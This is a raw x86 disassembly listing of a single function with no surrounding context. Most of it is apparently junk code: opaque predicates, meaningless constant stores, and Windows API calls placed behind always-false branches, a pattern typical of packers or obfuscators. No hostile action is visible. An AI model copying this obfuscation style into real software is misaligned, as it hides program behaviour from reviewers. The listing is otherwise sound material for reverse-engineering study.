jle 0x4785e6
mov dword [ebp - 0x13fc], 1
jmp 0x4785ed
and dword [ebp - 0x13fc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1e38]
cmp dword [ebp - 0x13fc], eax
je 0x47860e
mov dword [ebp - 0x1404], 1
jmp 0x478615
and dword [ebp - 0x1404], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1404], eax
jle 0x47862c
mov dword [ebp - 0x140c], 1
jmp 0x478633
and dword [ebp - 0x140c], 0
cmp dword [ebp - 0x140c], 0xffff
jne 0x4786c5
mov dword [ebp - 0x2888], 0xa788
mov dword [ebp - 0x2884], 0xa788
mov dword [ebp - 0x2880], 0xa788
mov dword [ebp - 0x287c], 0xa788
lea ecx, [ebp - 0x909]
call fcn.00430dad
push eax
lea eax, [ebp - 0x2878]
push eax
lea eax, [ebp - 0x2888]
push eax
lea ecx, [ebp - 0x3618]
call fcn.00430db0
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x315c]
call fcn.00430d5c
push 3
lea ecx, [ebp - 0x315c]
call fcn.00430d9e
mov eax, dword [eax]
mov dword [ebp - 0x9c8], eax
lea ecx, [ebp - 0x315c]
call fcn.00430d82
jmp 0x47877a
mov dword [ebp - 0x141c], 0xffff
mov dword [ebp - 0x1424], 0x718a84d2
mov dword [ebp - 0x25f0], 0xe11cd4ee
mov dword [ebp - 8], 0
jmp 0x4786f3
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x478709
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1e38], 0xfff323e6
jmp 0x4786ec
xor eax, eax
jne 0x47871f
cmp dword [ebp - 0x141c], 0
jne 0x47871f
and dword [ebp - 0x1414], 0
jmp 0x478729
mov dword [ebp - 0x1414], 1
cmp dword [ebp - 0x1414], 0
je 0x478763
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1e38]
mov dword [ebp - 0x2cb4], eax
mov eax, dword [ebp - 0x141c]
add eax, 0x4633be61
mov dword [ebp - 0x1424], eax
je 0x478763
mov dword [ebp - 0x142c], 1
jmp 0x47876a
and dword [ebp - 0x142c], 0
imul eax, dword [ebp - 0x142c], 0x568c
mov dword [ebp - 0x25f0], eax
push 2
lea ecx, [ebp - 0x1df4]
call fcn.00430cb0
mov dword [ebp - 0x170], 0
jmp 0x4787a0
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 1
jge 0x4787bc
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x2294], 0xffffffff
jmp 0x478793
mov dword [ebp - 0x170], 0
jmp 0x4787d5
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 2
jge 0x4787f7
push dword [ebp - 0x170]
lea ecx, [ebp - 0x1df4]
call fcn.00430d9e
mov dword [eax], 4
jmp 0x4787c8
push 1
lea ecx, [ebp - 0x1df4]
call fcn.00430d9e
and dword [eax], 0
jmp 0x47882d
push 1
lea ecx, [ebp - 0x1df4]
call fcn.00430d9e
mov dword [ebp - 0x1434], eax
mov eax, dword [ebp - 0x1434]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1434]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x1df4]
call fcn.00430d9e
cmp dword [eax], 0
jl 0x47885c
push 1
lea ecx, [ebp - 0x1df4]
call fcn.00430d9e
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x2294], 0
je 0x47885a
jmp 0x47885c
jmp 0x478809
push 1
lea ecx, [ebp - 0x1df4]
call fcn.00430d9e
cmp dword [eax], 0xfd4d14a
jge 0x47887d
mov dword [ebp - 0x143c], 1
jmp 0x478884
and dword [ebp - 0x143c], 0
push 0
lea ecx, [ebp - 0x1df4]
call fcn.00430d9e
mov ecx, dword [ebp - 0x143c]
mov dword [eax], ecx
lea ecx, [ebp - 0x1df4]
call fcn.00430d82
mov dword [ebp - 0xc4], 8
mov dword [ebp - 0x778], 0
jmp 0x4788c7
mov eax, dword [ebp - 0x778]
inc eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 3
jge 0x4788e3
mov eax, dword [ebp - 0x778]
mov dword [ebp + eax*4 - 0x34a8], 0xb844a754
jmp 0x4788ba
mov dword [ebp - 0xc4], 0
jmp 0x4788fc
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x1b
je 0x478924
mov byte [ebp - 0x2ec], 0
movzx eax, byte [ebp - 0x2ec]
test eax, eax
je 0x478922
push 0x1497
call dword [sym.imp.USER32.dll_GetSysColor]
jmp 0x4788ef
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0xc4], eax
jl 0x47893e
mov dword [ebp - 0x1444], 1
jmp 0x478945
and dword [ebp - 0x1444], 0
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0xc4]
cmp dword [ebp - 0x1444], eax
jge 0x478966
mov dword [ebp - 0x144c], 1
jmp 0x47896d
and dword [ebp - 0x144c], 0
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x1454], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1454]
mov dword [ebp + eax - 0x34a8], ecx
mov eax, dword [ebp - 0x144c]
cmp eax, dword [ebp - 0x1454]
jge 0x4789a5
mov dword [ebp - 0x145c], 1
jmp 0x4789ac
and dword [ebp - 0x145c], 0
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0x145c], eax
jg 0x4789c6
mov dword [ebp - 0x1464], 1
jmp 0x4789cd
and dword [ebp - 0x1464], 0
mov eax, dword [ebp - 0x1464]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x9d0], 0xf506e60b
mov dword [ebp - 0x32e0], 0x29822cb3
mov dword [ebp - 0x2cbc], 0x3e38693
mov dword [ebp - 0x2fe8], 0x37bb0086
mov dword [ebp - 0x22a4], 0xad9ddcef
mov dword [ebp - 0x2cc4], 0xab4456e3
mov dword [ebp - 0x3420], 0x8bd9
mov dword [ebp - 0x229c], 0x41a80d1c
mov dword [ebp - 0x24f4], 0
mov dword [ebp - 0x788], 0x8319b885
mov dword [ebp - 0x23f4], 1
mov dword [ebp - 0x780], 0
jmp 0x478a60
cmp dword [ebp - 0x780], 1
jge 0x478a7c
mov dword [ebp - 0x82c], 0xa8eac8b
mov byte [ebp - 0x321], 0
movzx eax, byte [ebp - 0x321]
test eax, eax
je 0x47c52f
push 0x18fb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 0x82c], 0xfffffff1
jmp 0x47c548
mov eax, dword [ebp - 0x82c]
inc eax
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 0x14
jne 0x47c6cb
push 2
lea ecx, [ebp - 0x320c]
call fcn.00430cb0
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x834], 0
jmp 0x47c585
mov eax, dword [ebp - 0x834]
inc eax
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 2
jge 0x47c5a7
push dword [ebp - 0x834]
lea ecx, [ebp - 0x320c]
call fcn.00430d9e
mov dword [eax], 0xfffffff9
jmp 0x47c578
mov dword [ebp - 0x614], 0
jmp 0x47c5c0
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 1
jg 0x47c6bb
push 4
lea ecx, [ebp - 0x25cc]
call fcn.00430cb0
mov dword [ebp - 0x618], 0
jmp 0x47c5f3
mov eax, dword [ebp - 0x618]
inc eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 4
jge 0x47c612
push dword [ebp - 0x618]
lea ecx, [ebp - 0x25cc]
call fcn.00430d9e
and dword [eax], 0
jmp 0x47c5e6
push 0
lea ecx, [ebp - 0x25cc]
call fcn.00430d9e
and dword [eax], 0
jmp 0x47c648
push 0
lea ecx, [ebp - 0x25cc]
call fcn.00430d9e
mov dword [ebp - 0x1954], eax
mov eax, dword [ebp - 0x1954]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1954]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x25cc]
call fcn.00430d9e
cmp dword [eax], 1
jg 0x47c6ab
mov byte [ebp - 0x40c], 0
movzx eax, byte [ebp - 0x40c]
test eax, eax
je 0x47c682
push 0x4f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
mov byte [ebp - 0x329], 0
movzx eax, byte [ebp - 0x329]
test eax, eax
je 0x47c6a6
push 0
push 0x2594
push 0x1406
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
jmp 0x47c624
lea ecx, [ebp - 0x25cc]
call fcn.00430d82
jmp 0x47c5b3
lea ecx, [ebp - 0x320c]
call fcn.00430d82
jmp 0x47c53b
mov dword [ebp - 0x1974], 0x8974b66
mov dword [ebp - 0xa88], 5
mov dword [ebp - 0xa78], 0xa924c000
mov dword [ebp - 0x83c], 0xc3c39ba0
mov dword [ebp - 0xa80], 8
mov dword [ebp - 0x2148], 0xb95ae649
push 1
lea ecx, [ebp - 0x1e80]
call fcn.00430cb0
mov dword [ebp - 0x588], 0xffffffff
mov dword [ebp - 0x2150], 0xc04840c2
mov dword [ebp - 0x1f0], 0
jmp 0x47c741
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 2
jge 0x47c75d
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0x277c], 6
jmp 0x47c734
mov dword [ebp - 0x1f0], 0
jmp 0x47c776
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 1
jge 0x47c798
push dword [ebp - 0x1f0]
lea ecx, [ebp - 0x1e80]
call fcn.00430d9e
mov dword [eax], 1
jmp 0x47c769
push 0
lea ecx, [ebp - 0x1e80]
call fcn.00430d9e
mov dword [ebp - 0x195c], eax
mov eax, dword [ebp - 0x195c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x195c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x2dbc], eax
push 5
pop eax
test eax, eax
je 0x47c955
mov dword [ebp - 0x2148], 0xebef
cmp dword [ebp - 0x83c], 0
jne 0x47c7f4
xor eax, eax
inc eax
jne 0x47c7f4
and dword [ebp - 0x1964], 0
jmp 0x47c7fe
mov dword [ebp - 0x1964], 1
imul eax, dword [ebp - 0x1964], 0x2e7e
test eax, eax
jge 0x47c818
mov dword [ebp - 0x196c], 1
jmp 0x47c81f
and dword [ebp - 0x196c], 0
mov eax, dword [ebp - 0x196c]
neg eax
mov dword [ebp - 0x1974], eax
mov eax, dword [ebp - 0x1974]
mov dword [ebp - 0x30d0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x277c]
mov dword [ebp - 0x2dc4], eax
mov eax, dword [ebp - 0x588]
cmp dword [ebp - 0xa80], eax
jge 0x47c866
mov dword [ebp - 0x197c], 1
jmp 0x47c86d
and dword [ebp - 0x197c], 0
cmp dword [ebp - 0x197c], 0
jb 0x47c882
mov dword [ebp - 0x1984], 1
jmp 0x47c889
and dword [ebp - 0x1984], 0
mov esi, dword [ebp - 0x1984]
add esi, 8
push 0
lea ecx, [ebp - 0x1e80]
call fcn.00430d9e
cmp esi, dword [eax]
jle 0x47c8af
mov dword [ebp - 0x198c], 1
jmp 0x47c8b6
and dword [ebp - 0x198c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x198c]
mov dword [ebp + eax - 0x277c], ecx
mov eax, dword [ebp - 0xa78]
mov dword [ebp - 0x33e8], eax
cmp dword [ebp - 0x83c], 0
jne 0x47c8ec
xor eax, eax
inc eax
jne 0x47c8ec
and dword [ebp - 0x1994], 0
jmp 0x47c8f6
mov dword [ebp - 0x1994], 1
mov eax, dword [ebp - 0x1994]
mov dword [ebp - 0xa78], eax
mov esi, dword [ebp - 0xa78]
push 0
lea ecx, [ebp - 0x1e80]
call fcn.00430d9e
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x1e80]
call fcn.00430d9e
imul esi, dword [eax]
mov dword [ebp - 0x83c], esi
mov eax, dword [ebp - 0x83c]
mov dword [ebp - 0xa80], eax
mov eax, dword [ebp - 0xa80]
neg eax
cmp eax, dword [ebp - 0xa88]
jle 0x47c955
mov dword [ebp - 0x199c], 1
jmp 0x47c95c
and dword [ebp - 0x199c], 0
push 0
lea ecx, [ebp - 0x1e80]
call fcn.00430d9e
mov ecx, dword [ebp - 0x199c]
cmp ecx, dword [eax]
jg 0x47c97f
mov dword [ebp - 0x19a4], 1
jmp 0x47c986
and dword [ebp - 0x19a4], 0
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0xa88], eax
cmp dword [ebp - 0xa88], 0
jne 0x47c9ae
push 3
pop eax
test eax, eax
jne 0x47c9ae
mov dword [ebp - 0x19ac], 1
jmp 0x47c9b5
and dword [ebp - 0x19ac], 0
mov eax, dword [ebp - 0x588]
cmp dword [ebp - 0x19ac], eax
jl 0x47c9cf
mov dword [ebp - 0x19b4], 1
jmp 0x47c9d6
and dword [ebp - 0x19b4], 0
mov eax, dword [ebp - 0x588]
cmp dword [ebp - 0x19b4], eax
je 0x47c9f0
mov dword [ebp - 0x19bc], 1
jmp 0x47c9f7
and dword [ebp - 0x19bc], 0
mov eax, dword [ebp - 0x19bc]
sub eax, dword [ebp - 0x588]
mov dword [ebp - 0x2150], eax
lea ecx, [ebp - 0x1e80]
call fcn.00430d82
mov dword [ebp - 0x590], 0xffffffff
push 2
lea ecx, [ebp - 0x1fa4]
call fcn.00430cb0
push 1
lea ecx, [ebp - 0x2934]
call fcn.00430cb0
mov dword [ebp - 0x1f8], 0
jmp 0x47ca51
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jge 0x47ca70
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x1fa4]
call fcn.00430d9e
and dword [eax], 0
jmp 0x47ca44
mov dword [ebp - 0x1f8], 0
jmp 0x47ca89
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 1
jge 0x47caab
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x2934]
call fcn.00430d9e
mov dword [eax], 0x4592404e
jmp 0x47ca7c
mov dword [ebp - 0x590], 1
mov dword [ebp - 0x590], 0
jmp 0x47cace
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 1
jg 0x47ce3d
mov dword [ebp - 0x2a4], 0x82a1836c
mov dword [ebp - 0x19cc], 2
mov dword [ebp - 0xa98], 9
push 2
lea ecx, [ebp - 0x3244]
call fcn.00430cb0
mov dword [ebp - 0x2dcc], 0xffffffff
mov dword [ebp - 0x85c], 0x56370016
mov dword [ebp - 0x2158], 1
mov dword [ebp - 0x200], 0
jmp 0x47cb3d
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 2
jge 0x47cb5f
push dword [ebp - 0x200]
lea ecx, [ebp - 0x3244]
call fcn.00430d9e
mov dword [eax], 0xfffffff7
jmp 0x47cb30
mov dword [ebp - 0x200], 0
jmp 0x47cb78
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 3
jge 0x47cb94
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x34c0], 0x6e31bb00
jmp 0x47cb6b
mov dword [ebp - 0x2a4], 0
jmp 0x47cbad
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 1
jg 0x47ce2d
mov dword [ebp - 0x84c], 0x1dfe4b28
mov dword [ebp - 0x30e0], 0xb8561371
mov dword [ebp - 0x2dd4], 0xb000cd9d
push 1
lea ecx, [ebp - 0x3230]
call fcn.00430cb0
mov dword [ebp - 0x3328], 0xb4dfecbe
mov dword [ebp - 0x844], 0
jmp 0x47cc08
mov eax, dword [ebp - 0x844]
inc eax
mov dword [ebp - 0x844], eax
cmp dword [ebp - 0x844], 1
jge 0x47cc2a
push dword [ebp - 0x844]
lea ecx, [ebp - 0x3230]
call fcn.00430d9e
mov dword [eax], 0xda7bc999
jmp 0x47cbfb
mov dword [ebp - 0x84c], 1
jmp 0x47cc43
cmp dword [ebp - 0x84c], 0
jl 0x47ce1d
mov dword [ebp - 0x2ddc], 0x61fc
push 1
lea ecx, [ebp - 0x321c]
call fcn.00430cb0
mov dword [ebp - 0x30f0], 0x84257392
mov dword [ebp - 0x19c4], 0x3d478254
mov dword [ebp - 0x19dc], 1
mov dword [ebp - 0x854], 0
jmp 0x47cc9e
cmp dword [ebp - 0x854], 1
jge 0x47ccbd
push dword [ebp - 0x854]
lea ecx, [ebp - 0x321c]
call fcn.00430d9e
or dword [eax], 0xffffffff
jmp 0x47cc91
mov eax, dword [ebp - 0x19c4]
dec eax
mov dword [ebp - 0x19c4], eax
mov dword [ebp - 0x85c], 0
jmp 0x47cce3
lea ecx, [ebp - 0x3230]
call fcn.00430d82
jmp 0x47cba0
lea ecx, [ebp - 0x3244]
call fcn.00430d82
jmp 0x47cac1
lea ecx, [ebp - 0x2934]
call fcn.00430d82
lea ecx, [ebp - 0x1fa4]
call fcn.00430d82
xor ecx, ecx
call fcn.0043101b
push eax
call fcn.00481743
pop ecx
mov dword [ebp - 0x598], 0xfffffffc
mov dword [ebp - 0x598], 0
jmp 0x47ce84
mov eax, dword [ebp - 0x598]
dec eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0xfffffff7
jne 0x47cf6f
mov dword [ebp - 0x864], 5
mov dword [ebp - 0x864], 0
jmp 0x47ceb4
mov eax, dword [ebp - 0x864]
dec eax
mov dword [ebp - 0x864], eax
cmp dword [ebp - 0x864], 0xfffffff0
jg 0x47cf6a
mov dword [ebp - 0x86c], 1
mov dword [ebp - 0x86c], 0x12
jmp 0x47cee4
mov eax, dword [ebp - 0x86c]
inc eax
mov dword [ebp - 0x86c], eax
cmp dword [ebp - 0x86c], 0x17
jl 0x47cf65
mov dword [ebp - 0x2540], 0xfffffff9
mov dword [ebp - 0x253c], 0xfffffff9
mov dword [ebp - 0x2538], 0xfffffff9
mov dword [ebp - 0x2534], 0xfffffff9
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2540], 0
jmp 0x47cf43
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2540]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2540], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2540], 0x11
jge 0x47cf60
cmp dword [ebp - 0x598], 0
je 0x47cf5e
jmp 0x47cf60
jmp 0x47cf28
jmp 0x47ced7
jmp 0x47cea7
jmp 0x47ce77
mov dword [ebp - 0x5a0], 0xffffffff
push 2
lea ecx, [ebp - 0x1fbc]
call fcn.00430cb0
push 1
lea ecx, [ebp - 0x2b50]
call fcn.00430cb0
mov dword [ebp - 0x208], 0
jmp 0x47cfac
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 2
jge 0x47cfcb
push dword [ebp - 0x208]
lea ecx, [ebp - 0x1fbc]
call fcn.00430d9e
and dword [eax], 0
jmp 0x47cf9f
mov dword [ebp - 0x208], 0
jmp 0x47cfe4
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 1
jge 0x47d006
push dword [ebp - 0x208]
lea ecx, [ebp - 0x2b50]
call fcn.00430d9e
mov dword [eax], 0x4592404e
jmp 0x47cfd7
mov dword [ebp - 0x5a0], 1
mov dword [ebp - 0x5a0], 0
jmp 0x47d029
cmp dword [ebp - 0x5a0], 1
jg 0x47d398
mov dword [ebp - 0x2ac], 0x82a1836c
mov dword [ebp - 0x19fc], 2
mov dword [ebp - 0xaa8], 9
push 2
lea ecx, [ebp - 0x3274]
call fcn.00430cb0
mov dword [ebp - 0x3430], 0xffffffff
mov dword [ebp - 0x88c], 0x56370016
mov dword [ebp - 0x2160], 1
mov dword [ebp - 0x210], 0
jmp 0x47d098
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x47d0ba
push dword [ebp - 0x210]
lea ecx, [ebp - 0x3274]
call fcn.00430d9e
mov dword [eax], 0xfffffff7
jmp 0x47d08b
mov dword [ebp - 0x210], 0
jmp 0x47d0d3
cmp dword [ebp - 0x210], 3
jge 0x47d0ef
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x34d8], 0x6e31bb00
jmp 0x47d0c6
mov dword [ebp - 0x2ac], 0
jmp 0x47d108
lea ecx, [ebp - 0x2b50]
call fcn.00430d82
lea ecx, [ebp - 0x1fbc]
call fcn.00430d82
mov dword [ebp - 0xb0], 1
mov dword [ebp - 0x49c], 1
push 2
lea ecx, [ebp - 0xbb4]
call fcn.00430cb0
mov dword [ebp - 0x2650], 0xfffffffd
mov dword [ebp - 0x264c], 0xfffffffd
mov dword [ebp - 0x2648], 0xfffffffd
mov dword [ebp - 0x2644], 0xfffffffd
mov dword [ebp - 0x894], 0
jmp 0x47d410
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 2
jge 0x47d432
push dword [ebp - 0x894]
lea ecx, [ebp - 0xbb4]
call fcn.00430d9e
mov dword [eax], 0x734cb441
jmp 0x47d403
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x47d500
mov dword [ebp - 0xb0], 1
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x2e04], eax
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0xb0]
cmp eax, 1
jae 0x47d46d
cmp dword [ebp - 0xb0], 0
je 0x47d47e
xor eax, eax
inc eax
je 0x47d47e
and dword [ebp - 0x1a3c], 0
push 0
lea ecx, [ebp - 0xbb4]
call fcn.00430d9e
mov ecx, dword [ebp - 0x1a3c]
cmp ecx, dword [eax]
jne 0x47d52a
mov dword [ebp - 0x2168], 1
jmp 0x47d531
and dword [ebp - 0x2168], 0
push 1
lea ecx, [ebp - 0xbb4]
call fcn.00430d9e
push 1
lea ecx, [ebp - 0xbb4]
call fcn.00430d9e
cmp dword [eax], 0
je 0x47d56e